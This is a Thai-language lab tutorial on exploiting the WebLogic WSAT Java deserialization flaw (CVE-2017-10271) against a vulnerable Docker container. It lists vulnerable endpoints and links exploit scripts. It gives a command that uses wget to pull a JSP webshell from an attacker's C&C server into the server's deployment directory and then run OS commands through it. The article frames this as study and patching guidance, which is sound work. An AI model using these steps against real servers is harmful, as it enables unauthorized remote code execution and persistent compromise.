วิธีการทำ WebLogic Server Remote Code Execution จากช่องโหว่ด้าน Java De-serialization
บทนำ (Overview) :
ปัจจุบันองค์กรใหญ่มีการนำ middleware application มาประยุกต์ใช้กับระบบงานใหญ่ๆอยู่มาก เนื่องจากมีความสะดวกในการใช้งาน และมีประสิทธิภาพสูง จึงค่อนข้างเป็นที่นิยม แต่เนื่องด้วยพอมีคนใช้มากขึ้น หากมีการประกาศช่องโหว่ร้ายแรง (critical vulnerability) ใหม่ๆตามมา ก็ถือเป็นความเสี่ยงอย่างยิ่งที่จะถูกโจมตีผ่าน web application และถูก compromise ระบบสำคัญๆ ได้
ทางผู้เขียนจึงเล็งเห็นความสำคัญในการเจาะระบบผ่าน middleware application ซึ่งในที่นี้อยากยกตัวอย่างในการเจาะระบบผ่าน WebLogic Server ซึ่งเป็น middleware application ของทาง Oracle ว่าสามารถค้นหาช่องโหว่ตัวอย่างที่เกิดจาก Java De-serialization และเจาะเพื่อ compromise เข้าระบบได้อย่างไร
สามารถติดตามบทความรูปแบบ PDF ได้จาก ที่นี้
บทความโดย
Vanitas
Cyber Security Researcher
Scenario ที่ใช้ในการทดสอบ :
- Setup docker image ที่มีการติดตั้ง WebLogic Server และมีช่องโหว่ขึ้นมาบน Ubuntu Server
- เตรียม remote code execution จาก payload ในการทำ Java De-serialization ด้วย Kali-Linux
- โจมตีด้วย Java De-serialization payload ที่เตรียมไว้ไปยังเครื่องเหยื่อที่เป็น WebLogic Server
- วาง JSP webshell เพื่อใช้ในการดำเนินการต่อในลำดับถัดไป
อุปกรณ์/product ที่ใช้ในการทดสอบ :
- Ubuntu with vulnerable WebLogic Server (Docker image)
- Kali-Linux
- WebLogic Server Application ที่มีช่องโหว่ Java De-serialization จาก WSAT Component ซึ่ง version ที่ได้รับผลกระทบ มีดังนี้
- 10.3.6.0.0
- 12.1.3.0.0
- 12.2.1.1.0
- 12.2.1.2.0
- โดย middleware ดังกล่าวยังมีการใช้งาน WSAT component ถูก deploy อยู่
ขั้นตอนการทดสอบ :
- Download Docker-file ของ WebLogic Server ที่มีช่องโหว่
git clone https://github.com/kkirsche/CVE-2017-10271.git
- ติดตั้งจาก Docker-file ที่ download มา ขั้นตอนดังนี้ (ขั้นตอนนี้อาจใช้เวลารอนานสักหน่อย เนื่องจากต้อง pull image มาจาก internet)
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list apt update apt-get install docker-engine service docker start cd CVE-2017-10271-master/docker docker build . -t zhiqzhao/ubuntu_weblogic1036_domain -f Dockerfile
- รัน container image ที่ใช้งาน WebLogic Server
docker run -d -p7001:7001 -p80:7001 zhiqzhao/ubuntu_weblogic1036_domain
- ตรวจสอบดูว่า container ที่รันแล้วดังข้อ 3 ว่ารันเรียบร้อยดีหรือไม่ ดังนี้
docker container ls
- จากรูปจะพบว่า port ของ WebLogic Server ภายใน container จริงๆคือ port : 7001 แต่หากผู้ใช้งานมีการเรียกเข้าไปจากด้านนอก จะต้องเรียก port : 80 เพื่อให้ docker ทำการ forward เข้า container id นั้นเอง
- ทดสอบเรียกไปยัง web application ที่เป็นเป้าหมาย [http://ip:port/console] เพื่อตรวจสอบ WebLogic version จะพบว่าเป็น version 10.3.6.0 ดังรูป
- ทำการทดสอบ จากช่องโหว่ของ WSAT Component จะต้องเปิดใช้งาน context ดังนี้
Vulnerable URL's other than the one shown: /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/ParticipantPortType /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationPortTypeRPC /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationRequesterPortType11
- จากรูป หากลองเรียก request ไป http://ip:port/[context] ดังด้านบน จะพบว่าสามารถเรียกได้ บ่งบอกว่ามีความเป็นไปได้ที่จะถูก exploit ได้จากช่องโหว่นี้ (CVE-2017-10271)
- หรืออีกทางเลือกหนึ่ง สามารถตรวจสอบได้จาก script ดังต่อไปนี้ได้
git clone https://github.com/Luffin/CVE-2017-10271.git python [scriptname] [url]
- หากมีช่องโหว่ จะขึ้นเป็น prompt สีแดง ดังรูป
- เปิด Burp Suite จากบน Kali-Linux แล้วทำการ intercept ไปยัง component ที่เรียกได้ แล้วให้ action ไปยัง repeater ดังตัวอย่างดังรูป
- ทำการ modify payload โดยเปลี่ยนให้เป็น post data แล้วใส่ payload ดังนี้เพื่อตรวจสอบ
- ตัวอย่างดังรูป จะพบว่า server response ออกมาได้ return code : 500 ซึ่งบ่งบอกว่า application ทำงานผิดพลาด และสามารถถูกโจมตีได้
- จาก payload ที่ทดสอบ ทำการเปลี่ยน os command ให้เป็นการ download webshell จาก C&C server ของผู้โจมตี ไปยัง local path ของ Admin Server ของ WebLogic Server เอง ดังรูป
/usr/bin/wget [url]/[webshell-file];mv [webshell-file]; servers/AdminServer/tmp/_WL_internal/bea_wls_internal/*/war
- โดยสามารถใช้งานตัวอย่าง JSP webshell ได้จาก url นี้ (ซึ่งกรณีนี้แล้วแต่ idea ผู้โจมตี ว่าต้องการทำ activity ใดเพิ่มบ้าง เพื่อดำเนินการต่อหลังจากเข้าไปได้แล้ว)
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp
- สอบ browse ไปยัง [url]/bea_wls_internal/[webshell-file] แล้วดำเนินการในขั้นตอน Post-exploitation ต่อได้เลย โดยในรูป เป็นตัวอย่างว่าสามารถเรียก os command ผ่าน webshell ที่ไปฝังอยู่บนเครื่องเป้าหมายได้แล้ว
- หมายเหตุ : ใน scenario การทดสอบนี้ เป็นการโจมตีไปยัง web application server ที่มีช่องโหว่ ที่อยูภายใน container ของ docker ที่มีการใช้งาน ดังนั้น การดำเนินการเพื่อส่ง reverse shell จึงยังไม่สามารถทำได้โดยตรง ต้องใช้วิธีในการ forward port ออกมาจาก container ที่มีช่องโหว่ จึงจะออกมาในระดับ os หลักได้ ทางผู้เขียนจึงเสนอ scenario ในการฝัง webshell ลงบน web application server เป้าหมาย เพื่อให้ง่ายต่อการทำความเข้าใจในเรื่อง exploitation methodology
คำแนะนำอื่นๆ :
- ช่องโหว่นี้เป็นช่องโหว่ ปี 2017 ที่มีเหยื่อในประเทศต่างๆถูก exploit แล้วฝัง cryptocurrency ไว้เป็นกรณีศึกษาแล้ว ดังนั้นหากมีผู้ใดที่พบช่องโหว่นี้ในองค์กรตัวเอง ก็อยากให้นำไปศึกษาและทดสอบ เพื่อปิดช่องโหว่ดังกล่าว
- ในแง่ของการนำเสนอ เป็น methodology ที่ให้เข้าใจลำดับในการตรวจสอบ ไปทีละขั้น แต่ผู้ใช้งานสามารถศึกษาจาก exploit script ที่เป็น PoC ที่มีใน exploit-db หรือ metasploit module แล้วได้เช่นกัน ดังนี้
[1] Oracle WebLogic < 10.3.6 – ‘wls-wsat’ Component Deserialisation Remote Command Execution (https://www.exploit-db.com/exploits/43458/)
[2] Oracle WebLogic – wls-wsat Component Deserialization Remote Code Execution (Metasploit) (https://www.exploit-db.com/exploits/43924/)
References :
- https://github.com/Luffin/CVE-2017-10271
- https://github.com/kkirsche/CVE-2017-10271/tree/master/docker
- https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp
- https://www.exploit-db.com/exploits/43458/
- https://www.exploit-db.com/exploits/43924/
- https://nvd.nist.gov/vuln/detail/CVE-2017-10271